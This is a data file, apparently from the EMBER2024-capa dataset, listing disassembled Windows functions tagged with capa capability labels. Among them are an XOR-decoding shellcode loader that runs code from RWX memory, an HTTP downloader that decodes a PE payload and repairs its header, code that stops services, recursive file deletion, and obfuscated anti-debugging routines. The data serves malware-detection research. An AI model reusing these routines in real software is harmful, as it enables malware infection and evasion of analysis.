joyce8/EMBER2024-capa huggingface dataset:
Function at 0x570cf0
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push edx
push eax
call sub.ws2_32.dll_connect
mov esp, ebp
pop ebp
ret

Function at 0x401318
Capabilities:
Encode data using xor

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
mov eax, 0x5848
call fcn.00401a2c
call fcn.00401820
lea edi, [ebp - 0x38]
mov esi, str.kernel32
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
lea edx, [ebp - 0x582c]
mov esi, 0x403040
mov cx, 0x15fd
mov edi, edx
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x583c], edx
call sub.KERNEL32.dll_FreeConsole
mov ebx, dword [ebp - 0x638]
lea esi, [ebp - 0x38]
mov dword [esp], esi
call sub.KERNEL32.dll_GetModuleHandleA
push edx
mov dword [esp], eax
xor eax, eax
mov ecx, 0xffffffff
mov edi, esi
repne scasb al, byte es:[edi]
not ecx
lea ecx, [esi + ecx]
mov dword [esp + 4], ecx
call sub.KERNEL32.dll_GetProcAddress
sub esp, 8
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0x57f4
mov dword [esp], 0
call eax
sub esp, 0x10
mov edi, eax
xor esi, esi
mov edx, dword [ebp - 0x583c]
mov ecx, edi
mov al, byte [edx + esi]
mov byte [edi + esi], al
inc esi
cmp esi, 0x57f4
jne 0x4013c4
lea edx, [edi + 0x51f4]
nop
xor dword [ecx], ebx
add ebx, 0x499602d2
add ecx, 4
cmp ecx, edx
jne 0x4013dc
call edi
xor eax, eax
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
leave
lea esp, [ecx - 4]
ret

Function at 0x401510
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
test ecx, ecx
mov dword [ebp - 0xc], ebx
mov ebx, eax
mov dword [ebp - 8], esi
mov esi, edx
mov dword [ebp - 4], edi
mov edi, ecx
jne 0x401536
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x38]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.KERNEL32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x4015ca
mov eax, dword [ebp - 0x24]
cmp eax, 4
je 0x401585
cmp eax, 0x40
je 0x401585
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp - 0x24]
cmp eax, 4
je 0x401529
cmp eax, 0x40
je 0x401529
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
jmp 0x401529
mov dword [esp + 8], 0x34
mov dword [esp + 4], str..._.._runtime_pseudo_reloc.c
mov dword [esp], str.VirtualQuery__addr__b__sizeof_b__
call sub.msvcrt.dll__assert
lea esi, [esi]
lea edi, [edi]
Function at 0x77ba3c40
Capabilities:
Check http status code
Create http request
Encode data using xor
Parse pe header
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.77ba4ac0
push ebx
push esi
push edi
xor ebx, ebx
and byte [ebp - 0x1010], bl
mov ecx, 0x3ff
xor eax, eax
lea edi, [ebp - 0x100f]
rep stosd dword es:[edi], eax
push ebx
push ebx
stosw word es:[edi], ax
push ebx
push 4
push 0x77ba3b40
mov dword [ebp - 0xc], ebx
stosb byte es:[edi], al
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
cmp esi, ebx
mov dword [ebp - 8], esi
je 0x77ba3d9a
push ebx
push 0x4000000
push ebx
push ebx
push dword [ebp + 8]
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
cmp edi, ebx
je 0x77ba3d93
lea eax, [ebp - 0x10]
push ebx
push eax
lea eax, [ebp - 0xc]
push eax
push 0x20000013
push edi
mov dword [ebp - 0x10], 4
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x77ba3d2f
cmp dword [ebp - 0xc], 0xc8
jne 0x77ba3d2f
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x1010]
push 0x1000
push eax
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x77ba3d2f
mov esi, dword [ebp + 0xc]
cmp ebx, dword [ebp + 0x10]
ja 0x77ba3d3d
cmp dword [ebp - 4], 0
je 0x77ba3d4d
push dword [ebp - 4]
lea eax, [ebp - 0x1010]
push eax
lea eax, [ebx + esi]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
add ebx, dword [ebp - 4]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x1010]
push 0x1000
push eax
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x77ba3ced
mov esi, dword [ebp - 8]
push edi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push esi
call edi
jmp 0x77ba3d9a
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call esi
push dword [ebp - 8]
call esi
jmp 0x77ba3d9a
push edi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push dword [ebp - 8]
call edi
movzx eax, word [esi]
mov ecx, dword [esi + 0x3c]
mov dword [esi + 0x3c], eax
add eax, esi
mov edx, 0x400
xor dword [eax], ecx
add eax, 4
dec edx
jne 0x77ba3d6b
mov eax, dword [esi + 0x3c]
mov byte [esi], 0x4d
mov byte [esi + 1], 0x5a
push 1
mov byte [eax + esi], 0x50
mov eax, dword [esi + 0x3c]
mov byte [eax + esi + 1], 0x45
mov eax, dword [ebp + 0x14]
mov dword [eax], ebx
pop eax
jmp 0x77ba3d9c
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x77ba40c5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0
push esi
push edi
je 0x77ba4172
cmp dword [0x77ba4b1c], 0
jne 0x77ba416e
push 0x40000
mov dword [0x77ba4b1c], 1
call fcn.77ba4902
test eax, eax
mov dword [0x77ba4b20], eax
je 0x77ba416e
mov esi, 0x50ea
push esi
call fcn.77ba4902
mov edi, eax
test edi, edi
je 0x77ba416e
push esi
push 0
push edi
call sub.MSVCRT.dll_memset
mov ecx, 0x77ba10c0
add esp, 0xc
mov eax, edi
sub ecx, edi
mov esi, 0x2875
mov dl, byte [ecx + eax]
xor dl, 0x61
mov byte [eax], dl
inc eax
dec esi
jne 0x77ba4129
mov esi, dword [0x77ba4b20]
lea eax, [ebp + 8]
push eax
push esi
push edi
call fcn.77ba3dff
test eax, eax
jne 0x77ba4152
push esi
call fcn.77ba4918
jmp 0x77ba416e
push edi
call fcn.77ba4918
lea eax, [ebp + 0xc]
push eax
push esi
call fcn.77ba3f7a
mov eax, dword [ebp + 0xc]
push 0
push 1
push esi
add eax, esi
call eax
xor eax, eax
jmp 0x77ba4189
mov eax, dword [0x77ba4b20]
test eax, eax
je 0x77ba4186
push dword [ebp + 8]
push eax
call fcn.77ba4005
jmp 0x77ba4189
push 1
pop eax
pop edi
pop esi
pop ebp
ret 8

Function at 0x77ba42fb
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push 0xf01ff
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
je 0x77ba4333
lea eax, [ebp - 0x1c]
push edi
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push esi
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, edi
pop edi
pop esi
leave
ret 8

Function at 0x77ba4902
Capabilities:
Allocate or change rwx memory

Disassembly:
push 0x40
push 0x1000
push dword [esp + 0xc]
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
ret 4
Function at 0x402a28
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
mov eax, dword [0x42ec70]
or al, 8
xor ebx, ebx
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x402abc
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
mov edi, 0x105
jmp 0x402a79
cmp dword [ebp + 0x10], ebx
jne 0x402ab0
lea eax, [ebp - 0x10c]
push ebx
push eax
push dword [ebp - 4]
call fcn.00402a28
test eax, eax
jne 0x402a8b
lea eax, [ebp - 0x10c]
push edi
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x402a60
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 2
call fcn.00405c04
cmp eax, ebx
je 0x402ac3
push ebx
push dword [0x42ec70]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x402abc
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x42ec70], ebx
jne 0x402ab9
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x402ab9
jmp 0x402abc
Function at 0x405153
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
lea eax, [ebp - 0x10]
mov dword [0x42c048], 0x44
push eax
xor eax, eax
push 0x42c048
push eax
push eax
push eax
push eax
push eax
push eax
push dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40518e
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x10]
leave
ret 4

Function at 0x405218
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
push ebx
mov ebx, dword [ebp + 8]
push esi
push ebx
call fcn.004054ba
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 8], eax
test cl, 8
je 0x40524e
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
neg eax
sbb eax, eax
inc eax
add dword [0x42ec48], eax
jmp 0x4053d3
mov dword [ebp + 8], ecx
push edi
and dword [ebp + 8], 1
je 0x405269
test eax, eax
je 0x40537e
test cl, 2
je 0x40537e
mov esi, 0x42b048
push ebx
push esi
call fcn.004058e6
cmp dword [ebp + 8], 0
je 0x405288
push str..
push esi
call sub.KERNEL32.dll_lstrcatA
jmp 0x40528e
push ebx
call fcn.00405420
push 0x40900c
push ebx
call sub.KERNEL32.dll_lstrcatA
push ebx
call sub.KERNEL32.dll_lstrlenA
mov edi, eax
lea eax, [ebp - 0x148]
push eax
push esi
add edi, ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x405374
lea eax, [ebp - 0x11c]
push 0x3f
push eax
lea esi, [ebp - 0x11c]
call fcn.00405404
cmp byte [eax], 0
je 0x4052df
cmp byte [ebp - 0x18], 0
je 0x4052df
lea esi, [ebp - 0x18]
cmp byte [esi], 0x2e
jne 0x4052f5
mov al, byte [esi + 1]
test al, al
je 0x405353
cmp al, 0x2e
jne 0x4052f5
cmp byte [esi + 2], 0
je 0x405353
push esi
push edi
call fcn.004058e6
test byte [ebp - 0x148], 0x10
je 0x40531a
mov eax, dword [ebp + 0xc]
and eax, 3
cmp al, 3
jne 0x405353
push dword [ebp + 0xc]
push ebx
call fcn.00405218
jmp 0x405353
push ebx
call fcn.0040559e
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40534b
test byte [ebp + 0xc], 4
je 0x405343
push ebx
push 0xfffffffffffffff1
call fcn.00404c91
push 0
push ebx
call fcn.00405634
jmp 0x405353
inc dword [0x42ec48]
jmp 0x405353
push ebx
push 0xfffffffffffffff2
call fcn.00404c91
lea eax, [ebp - 0x148]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4052bd
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp + 8], 0
je 0x40537e
and byte [edi - 1], 0
xor esi, esi
pop edi
cmp dword [ebp + 8], esi
je 0x4053d3
cmp dword [ebp - 8], esi
jne 0x405393
inc dword [0x42ec48]
jmp 0x4053d3
push ebx
call fcn.00405bdd
test eax, eax
je 0x4053d3
push ebx
call fcn.004053d9
push ebx
call fcn.0040559e
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
test eax, eax
jne 0x4053cb
test byte [ebp + 0xc], 4
je 0x40538b
push ebx
push 0xfffffffffffffff1
call fcn.00404c91
push esi
push ebx
call fcn.00405634
jmp 0x4053d3
push ebx
push 0xffffffffffffffe5
call fcn.00404c91
pop esi
pop ebx
leave
ret 8
Function at 0x4054ba
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x42b448
push esi
call fcn.004058e6
push esi
call fcn.0040546d
mov edi, eax
test edi, edi
jne 0x4054db
xor eax, eax
jmp 0x40552d
push edi
call fcn.00405b44
test byte [0x42ebd8], 0x80
je 0x4054f4
mov al, byte [edi]
test al, al
je 0x4054d7
cmp al, 0x5c
je 0x4054d7
sub edi, esi
jmp 0x40550c
call fcn.00405bdd
test eax, eax
je 0x405506
test byte [eax], 0x10
je 0x4054d7
push esi
call fcn.00405420
push esi
call sub.KERNEL32.dll_lstrlenA
cmp eax, edi
push esi
jg 0x4054f8
call fcn.004053d9
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x40559e
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x4055ba
and al, 0xfe
push eax
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
ret 4

Function at 0x4055bd
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ecx, eax
push 0
inc ecx
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
ret 0xc

Function at 0x4055ec
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push 0x64
pop edi
dec edi
mov dword [ebp + 8], 0x61736e
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0x1a
xor edx, edx
pop ecx
div ecx
push esi
lea eax, [ebp + 8]
push 0
push eax
push dword [ebp + 0xc]
add byte [ebp + 0xa], dl
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x405630
test edi, edi
jne 0x4055f7
and byte [esi], 0
pop edi
pop esi
pop ebp
ret 8
mov eax, esi
jmp 0x40562a
Function at 0x405634
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebx
push ebp
push esi
push edi
push 1
call fcn.00405c04
test eax, eax
mov esi, dword [esp + 0x18]
je 0x405658
push 5
push esi
push dword [esp + 0x1c]
call eax
test eax, eax
jne 0x405791
mov ebx, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov dword [0x42c1d0], 0x4c554e
test esi, esi
mov edi, 0x400
mov ebp, 0x42c1d0
je 0x40569c
push 1
push 0
push esi
call fcn.004055bd
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push ebp
push esi
call ebx
test eax, eax
je 0x405797
cmp eax, edi
jg 0x405797
mov esi, 0x42bc48
push edi
push esi
push dword [esp + 0x1c]
call ebx
test eax, eax
je 0x405797
cmp eax, edi
jg 0x405797
push esi
push ebp
push str._s_s_r_n
push 0x42b848
call dword [sym.imp.USER32.dll_wsprintfA]
mov ebx, eax
mov eax, dword [0x42ebd0]
add esp, 0x10
push dword [eax + 0x128]
push esi
call fcn.00405908
push 4
push 0xc0000000
push esi
call fcn.004055bd
mov ebp, eax
cmp ebp, 0xffffffff
mov dword [esp + 0x14], ebp
je 0x405791
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + ebx + 0xa]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x40578a
lea eax, [esp + 0x18]
push 0
push eax
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40578a
cmp edi, dword [esp + 0x18]
jne 0x40578a
push str._Rename__r_n
push esi
call fcn.00405532
test eax, eax
jne 0x40579e
lea eax, [esi + edi]
push str._Rename__r_n
push eax
call fcn.004058e6
add edi, 0xa
mov eax, edi
push ebx
add eax, esi
push 0x42b848
push eax
call fcn.0040557e
xor eax, eax
push eax
push eax
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [esp + 0x18]
push 0
add edi, ebx
push eax
push edi
push esi
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc dword [0x42ec50]
pop edi
pop esi
pop ebp
pop ebx
ret 8
add eax, 0xa
push 0x409390
push eax
call fcn.00405532
test eax, eax
je 0x405755
inc eax
lea ecx, [esi + edi]
cmp eax, ecx
mov ebp, eax
jae 0x4057c5
mov dl, byte [ebp]
mov byte [ebx + ebp], dl
inc ebp
cmp ebp, ecx
jb 0x4057ba
mov ebp, dword [esp + 0x14]
sub eax, esi
jmp 0x405757
Function at 0x4057cd
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
lea eax, [ebp + 0x18]
push esi
push eax
mov eax, dword [ebp + 0x18]
xor ebx, ebx
neg eax
sbb eax, eax
mov esi, dword [ebp + 0x14]
and eax, 0x100
or eax, 0x20019
mov byte [esi], bl
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40583e
lea eax, [ebp + 0xc]
mov dword [ebp + 0xc], 0x400
push eax
lea eax, [ebp + 0x14]
push esi
push eax
push ebx
push dword [ebp + 0x10]
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40582d
cmp dword [ebp + 0x14], 1
je 0x40582f
cmp dword [ebp + 0x14], 2
je 0x40582f
mov byte [esi], bl
push dword [ebp + 0x18]
mov byte [esi + 0x3ff], bl
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebx
pop ebp
ret 0x14
Function at 0x405c70
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x42c5d4], 0
push esi
jne 0x405ca7
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405c81
mov dword [ecx*4 + 0x42c5d0], eax
inc ecx
cmp ecx, 0x100
jl 0x405c7c
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405cd8
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x42c5d0]
xor eax, esi
inc ecx
dec edx
jne 0x405cba
pop edi
not eax
pop esi
ret 0xc
Function at 0x6234ee
Capabilities:
Execute anti-debugging instructions

Disassembly:
push word [esp + 1]
jle 0x623626
jg 0x623580
cmpsb byte [esi], byte es:[edi]
rcl dword [eax - 0x2d]
dec edx
lea esp, [esp + 2]
mov dword [esp + 8], ebp
jmp 0x62362e
lea esp, [esp + 2]
mov dword [esp + 8], ebp
call fcn.00623537
lea esp, [esp + 3]
lea edi, [edi + 0x42]
rdtsc
bsr ax, ax
setnp cl
jmp 0x623675
mov al, byte [esp]
xchg dword [esp + 0xc], edi
call fcn.0062365f
or byte [esi + 0x72967b1c], cl
lcall 0xe6c1, 0x25d6b323
adc dword [eax + reloc.MSVCRT.dll___dllonexit], edx
mov eax, ebp
Function at 0x623537
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea esp, [esp + 1]
mov dword [esp + 8], esi
push eax
mov byte [esp + 1], bl
mov dword [esp + 8], edi
jmp 0x623509
lea esp, [esp + 3]
push ebp
mov word [esp + 2], ax
jmp 0x62351f
Function at 0x63e62b
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov bh, bl
call fcn.0063e614
jecxz 0x63e643
int1
nop
arpl word [ebx + 0x5730a223], dx
mov byte [0xf59a6357], al
neg edx
mov bh, cl
neg dh
mov dh, 0x9b
lea eax, [eax + 0x11]
mov ebx, edi
jmp 0x63e5d9
bts bx, ax
mov eax, ebx
xchg dword [esp], eax
bswap ebx
jmp 0x63e5ef
add bl, ch
aas
add byte [edx + ebx - 0x4e8e7383], al
mov al, 0x8d
and al, 3

Function at 0x63ff34
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea esp, [esp + 4]
xor bl, 0x19
jmp 0x63ff1c
lea edx, [esi*4]
cmc
js 0x63ff52
jns 0x63ff52
test byte [0x9217e49d], cl
sbb al, 0x6f
jbe 0x63ff7d
mov eax, dword [esp]
mov dx, si
lea edx, reloc.MSVCRT.dll___dllonexit
jmp 0x63ff06
rcl ax, 2
jge 0x63fedd
jl 0x63fedd
and ebx, 0x3c
mov dx, 0x1cb1
bt eax, eax
jnp 0x63ff59
jp 0x640025
xchg edi, eax
dec cl
push 0x348adbf6
and al, 0xeb
jecxz 0x63ff69
neg bl
mov dh, byte [esp]
jmp 0x63ff3c
bt eax, edx
rdtsc
jmp 0x63ff94
mov dword [reloc.MSVCRT.dll___dllonexit], eax
xor al, 0x8a
setg dl
or edi, edi
and byte [eax + 0x52a05136], ah
pop ebp
lodsb al, byte [esi]
mov edi, 0x48b3186
and al, 0xf
cdq
rol byte [esi - 0xb31620], 0xff
push ecx
mov al, byte [0xbfac5d52]
xchg byte [ecx], dh
dec dword [ebx + reloc.MSVCRT.dll___dllonexit]
xor esi, dword [edx + reloc.MSVCRT.dll___dllonexit]
aaa
mov bh, 0x27
inc edx
mov cl, 0x5b
sub al, byte [ebp - 0xc]
out 0xe, eax
mov eax, dword [esp]
jmp 0x63ffb8
mov edx, dword [edi]
dec eax
jo 0x63ff7e
mov eax, dword [esp]
mov ax, 0xd6b
dec eax
call fcn.0063ffe9
pushfd
sbb dword [ecx - 0x104e418], ecx
jp 0x63ff97
invalid
mov ax, 0xd6b
dec eax
mov dword [ebx + esi], edx
mov bx, word [esp]
mov dx, word [esp]
jmp 0x640216
bt eax, edx
rdtsc
jmp 0x63ff94
mov ah, byte [esp]
add edi, 4
mov al, byte [esp]
mov ebx, dword [esp]
bsf bx, cx
jmp 0x64007b
Function at 0x6400c5
Capabilities:
Execute anti-debugging instructions

Disassembly:
push 0xf062ba08
jmp 0x6400f6
jmp 0x6400e7
mov dword [esp], ebp
push esi
pushfd
push dword [esp]
jnp 0x6400af
lea esp, [esp + 5]
jmp 0x6400eb
lea esp, [esp + 5]
call fcn.0064012c
pushfd
jmp 0x63ee06
cpuid
lea ecx, [eax*4]
sub esp, 0x13
jae 0x640116
jb 0x64019d
test dword [edi], esi
dec esi
fnstcw word [eax]
dec cx
lea esp, [esp + 3]
jmp 0x64014f
jmp 0x64017f
mov ebp, dword [esp + 0x3c]
lea edi, [eax + ebp]
lea edx, [esi + ebp]
bt dx, ax
jae 0x640139
jb 0x64017f
jmp 0x6401bb
mov ecx, dword [esp]
mov dx, sp
bsr cx, bp
js 0x6401a5
jns 0x6401a5
push ecx
aad 0x45
sub al, 0xdf
cmp ecx, eax
inc esi
aam 0xb3
dec esi
lodsb al, byte [esi]
ja 0x6401dd
lea esi, [esp + 0x10]
cpuid
mov ch, al
sbb di, 0x469f
jl 0x640161
mov dh, 0xfe
jmp 0x6401bd
dec cx
lea esp, [esp + 3]
jmp 0x64014f
mov ecx, ebp
neg al
jmp 0x6401c7
mov dh, 0xfe
sub esp, 0xb0
mov edi, esp
jmp 0x640163
jbe 0x6401dd
mov al, ch
mov edx, dword [esp]
jmp 0x6401e2
mov al, ch
mov edx, dword [esp]
call fcn.006401fe
pop edx
jmp 0x640301
bswap edx
lea ebx, [ecx - 0x8c]
btc bx, si
jmp 0x64025c
jmp 0x64022b
lea esp, [esp + 0x10]
dec ebp
setno dh
mov bx, word [esp]
mov edx, ebx
jmp 0x6402a6
lea ebx, reloc.MSVCRT.dll___dllonexit
rcl bh, cl
sub esp, 0x10
jmp 0x640246
ror ebp, 0
clc
jnp 0x640244
bswap edx
lea ebx, [ecx - 0x8c]
btc bx, si
lea ebx, reloc.MSVCRT.dll___dllonexit
rcl bh, cl
jmp 0x640264
cmc
not bx
jmp 0x6402c9
dec edx
jg 0x640290
cmc
not bx
mov dl, byte [esp]
mov dx, bp
jmp 0x6402cf
mov dl, byte [esp]
mov dx, bp
ror ebp, 0
jmp 0x6402d8
not ebx
not ebx
sub ax, dx
jmp 0x640324
mov dx, 0x565b
not ebp
mov ah, byte [esp]
jmp 0x64030e
cmc
jnp 0x640274
jp 0x640274
setp bh
xchg dl, dh
lea eax, [esi + 0xe]
mov bl, 0xff
jmp 0x64032c
jnp 0x6402e5
mov dx, 0x565b
jmp 0x6402e9
dec ebp
lea ebx, [esi*4]
sub esp, 0xb
jae 0x640583
jb 0x6403ee
retf 0x9465
rcl eax, 0xb
jmp fcn.006403c0
cmp bx, 0x5219
jae 0x640352
rcl eax, 0xb
jmp fcn.006403c0
or eax, ebp
lea esp, [esp + 3]
jmp 0x640589
or eax, ebp
lea esp, [esp + 3]
add ebp, dword [esi]
mov al, 0x40
jmp 0x640368

Function at 0x64012c
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov byte [esp + 3], cl
lea esp, [esp + 3]
mov dword [esp], edi
jmp 0x6400f0
Function at 0x7120c4
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov al, cl
mov ah, al
mov edx, dword [esp + 0xd]
xchg dl, dh
mov ax, 0xe6bb
xchg ebx, eax
jmp 0x7120ae
pop word [esp]
lea ebx, reloc.MSVCRT.dll___dllonexit
mov byte [esp], bh
jmp 0x7120d1
mov bl, 0x2f
neg ax
rdtsc
rdtsc
mov bh, dl
jmp 0x712099
lea esp, [esp + 5]
push dword [esp + 4]
pop ax
pushal
push edx
rcr ax, cl
jmp 0x7121e5
bswap eax
lea esp, [esp + 1]
push di
shr eax, cl
mov word [esp + 1], cx
jmp 0x712151
mov edx, dword [esp + 0x19]
mov eax, dword [esp + 3]
pushal
lea esp, [esp + 0x4a]
mov edx, 0xff8d7488
sub esp, 3
jmp 0x7120f6
mov ax, di
bsr edx, edx
mov dx, cx
inc ax
sete bl
sets dh
jmp 0x71210c
push word [esp + 1]
pop ebx
lea edx, [edx + esi]
dec eax
sub esp, 0x15
mov ax, di
jmp 0x7121ac
pop word [esp]
push ax
push word [esp + 1]
adc dx, bp
add esp, 4
jmp 0x71213b
mov edx, edi
pop edx
xchg dl, ah
lea ebx, [ebp + ebp]
mov ebx, dword [esp + 0x19]
mov ax, word [esp + 7]
jmp 0x712128
xchg word [esp + 0xa], dx
setne dh
mov ax, sp
setb dh
jmp 0x7121c5
xchg byte [esp + 4], al
push dword [esp]
xchg word [esp + 4], dx
bsf dx, di
jmp 0x71217d
xchg dx, ax
add esp, 0xa
setg dl
mov al, 0xe9
lea ebx, [edx*4]
lea eax, reloc.MSVCRT.dll___dllonexit
jmp 0x712193
btr dx, cx
rol bh, cl
pop ebx
pop dword [esp]
push dword [esp + 3]
pop word [esp + 6]
call fcn.0071237a
ficomp dword [ecx - 0x37]
test al, 0x5b
lodsb al, byte [esi]
cmp byte [ebx], bl
mov byte [esp + 7], dh
pop bx
mov ebx, edx
pop edx
mov ebx, dword [esp + 0x2b]
sub edx, 0x4dc8b151
jmp 0x712169